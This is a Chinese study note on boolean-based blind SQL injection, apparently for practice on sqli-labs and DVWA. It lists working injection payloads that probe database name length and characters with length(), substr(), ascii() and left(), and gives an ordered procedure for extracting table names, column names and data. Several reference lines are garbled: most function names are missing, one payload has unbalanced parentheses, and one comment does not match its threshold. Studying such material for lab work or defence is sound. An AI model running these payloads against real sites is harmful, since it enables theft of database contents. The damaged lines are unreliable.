一.布尔盲注原理:
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,
构造SQL语句,
利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,
从而达到注入的目的来获取信息的一种方法
没有错误提示 也没有回显 但是输入错误的话页面会有反应 也就是说 只有 true 和false
例如 :sql-labs /less-7 它只有两种提示 所以可以用布尔盲注
playload:and length(database()) =8 --+ /判断数据库名长度
是否等于8
如果不等于
则返回错
等于的话就是开始页面
and ascll(substr(database(),1,1)) >100
/这里substr(char,number,numbr)
第一个参数是要截取的字符串
第二个参数是从那一位开始
第三个参数是截取几个 (我们要一位一位的判断所以此处恒为1)
二.判断语句:
1’ and length(database())>3#
1’ and length(database())=5 #
1’ and mid(database(),1,1)=‘d’ # 判断单个字符
1’ and substr(database(),1,1)=‘d’ # 判断单个字符
1’ and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符
1’ and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符
1’ and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符
三.基础语句:
一.
()函数:统计查询结果的数量;
(str)函数:返回字符串 str的长度;
()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误返回0
left((select database()),1)=‘s’ 同样的意思
: select user() regexp ‘r’; user()的结果是root@localhost,regexp为匹配root的正则表达式
: select user() like ‘ro%’; 匹配与regexp相似
(a,b,c): select substr() xxxx; substr(a,b,c)从位置b开始,截取a字符串的c位长度
(a,b,c): select mid(user(),1,2); mid(a,b,c)从位置b开始,截取a字符串的c位长度
() 将某个字符转化为其ascii值
0,1:元素索引是从0开始(不是1) 从元素索引位置为1的数据(即第2位)开始输出一个值
二.
对于security库:
left(database(),1)=‘s’;前1位是否是s
database() regexp ‘s’; 匹配第一个字符是否是s
database() like ‘s%’; 匹配是否是以s开头
substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s
substr((select database()),1,3)=‘sec’; 匹配前3个字符是否是sec
ascii(substr((select database()),1,1)); 直接回显115 或者是空:
ascii(substr(select database()),1,1))>110; 如果大于100,就返回1,否中返回0
四.使用顺序:
1.求当前数据库长度
2.求当前数据库表的ASCII
3.求当前数据库中表的个数
4.求当前数据库中其中一个表名的长度
5.求当前数据库中其中一个表名的ASCII
6.求列名的数量
7.求列名的长度
8.求列名的ASCII
9.求字段的数量
10.求字段内容的长度
11.求字段内容对应的ASCII